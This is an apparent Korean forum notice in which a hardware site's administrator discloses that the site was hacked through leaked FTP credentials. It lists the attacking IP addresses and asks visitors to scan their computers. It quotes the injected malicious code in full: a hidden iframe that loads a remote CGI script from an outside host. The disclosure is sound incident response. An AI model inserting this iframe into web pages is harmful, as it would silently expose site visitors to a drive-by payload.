http://gigglehd.com/zbxe/2911756 아바스트에서...기글메인 바이러스...;; by 보바보바님.

 

http://gigglehd.com/zbxe/2912969 기글에서 바이러스 발견? by HLL님.

 

그리고 전화로 제보주신 마르왕자님까지.

 

요약해보면, 어배스트에서 기글에 바이러스가 있다는 걸로 뜬다는 말인데. 처음에는 어베스트 오진인줄 알고 집에 가서 소스만 확인해 보면 이상 없는걸로 판명되려니 하였지만.

 

...

 

확인해보니 진짜 뚫렸었습니다(...)

 

...

 

돌 던지셔도 할 말이 없습니다.

 

인덱스를 확인해 보니 문제의 태그가 바로 눈에 들어오더군요. 바로 이것입니다. 정체가 확인되지 않았으니 클릭은 하지 마세요.

 

<iframe src="http://f5l.at:8080/ts/in.cgi?pepsi153" width=125 height=125 style="visibility: hidden"></iframe>

 

와~ 오늘도 날씨가 좋네? 거기에 일찍 끝나기까지? 노트북에서 국내 보도자료만 올리고 새 렌즈 끼워서 카메라 들고 밖에 나가야지~ 했던 생각은 완전히 사라져 버리고. 그냥 메인컴 켜서 모니터 쳐다보게 되었습니다.

 

ftp 로그를 뒤져본 결과 공격에 사용된 아이피는 다음과 같습니다.

 

79.125.239.229

98.226.89.50

81.183.179.215

190.79.22.69

174.103.193.209

24.34.77.206

99.56.123.216

200.42.232.151

186.14.86.187

68.12.199.91

114.47.77.40

71.198.9.110

 

여기서 몇가지 사실을 알 수 있습니다. 아이피들이 대중이 없다. 즉 여러 경로로 우회를 해서 접근했다는 것. 따라서 국정원이나 사이버수사대라면 몰라도 개인이 여기서 더 이상 뭔가를 알 순 없겠지요 -_-a.

 

SQL 인젝션이라던가 나오면 이제 정말 x되는거다 했지만 단순히 ftp 계정이 누출된듯 합니다. 로그 확인 결과 인데스에 접근한것 이외에 다른 것은 없습니다. 어찌보면 리눅스 계정보다 더 중요한(?) xe 비밀번호는 완전히 다른걸 사용중이며, 저 아이피들은 웹서버 쪽으로는 아예 접근조차 하지 않았었습니다. 이게 다행인지 불행인지는 모르겠습니다.

 

계정 비밀번호는 교체했는데 딱히 다른 대책은 생각나질 않습니다. 저 아이피들을 다 막는건 무의미할것 같고. 정기적으로 교체를 꾸준히 하는게 유일한 길일듯 합니다.

 

다들 어베스트 오진으로 생각하신듯 하니 그냥 아무 말 없이 슬쩍 바꾸고 묻어가는게 후폭풍은 더 적지 않을까 이런 생각도 해보지만, 그건 아무리 생각해도 올바른 길이 아니기에 그렇게 하진 않았습니다.

 

저 아이프레임 태그가 어떤 작용을 하는지는 모르겠습니다. http://www.robtex.com/dns/f5l.at.html를 보면 저 사이트가 문제가 있다라기보다는, 저걸 악용해서 뭔 짓을 하느냐가 더 중요하겠는데. 그걸 알 방법이 없습니다. 개인적으로는 일개 cgi로 할 수 있는 일이 그리 많진 않을 것이다라고 추측하지만 지금 여기서 제가 그런 말을 할 자격은 전혀 없습니다.

 

따라서 오늘 아침 8시쯤 부터 저녁 5시 사이에 접속하신 분들의 컴퓨터에 어떤 영향이 있었는지 없었는지조차 모르겠습니다. 그것이 이 공지를 쓰게 된 제일 큰 원인입니다. 바이러스 풀 스캔이라던가 이상한 패킷이 오간게 없나 확인을 좀 해보셔야 되지 않을까 싶습니다. 제가 신경을 안 써서 뚫린 주제에 바라는게 참 많군요.

 

...글은 다 썼는데 등록 버튼을 누르기가 매우 망설여지는군요. 정말 죄송합니다.

이 게시물을...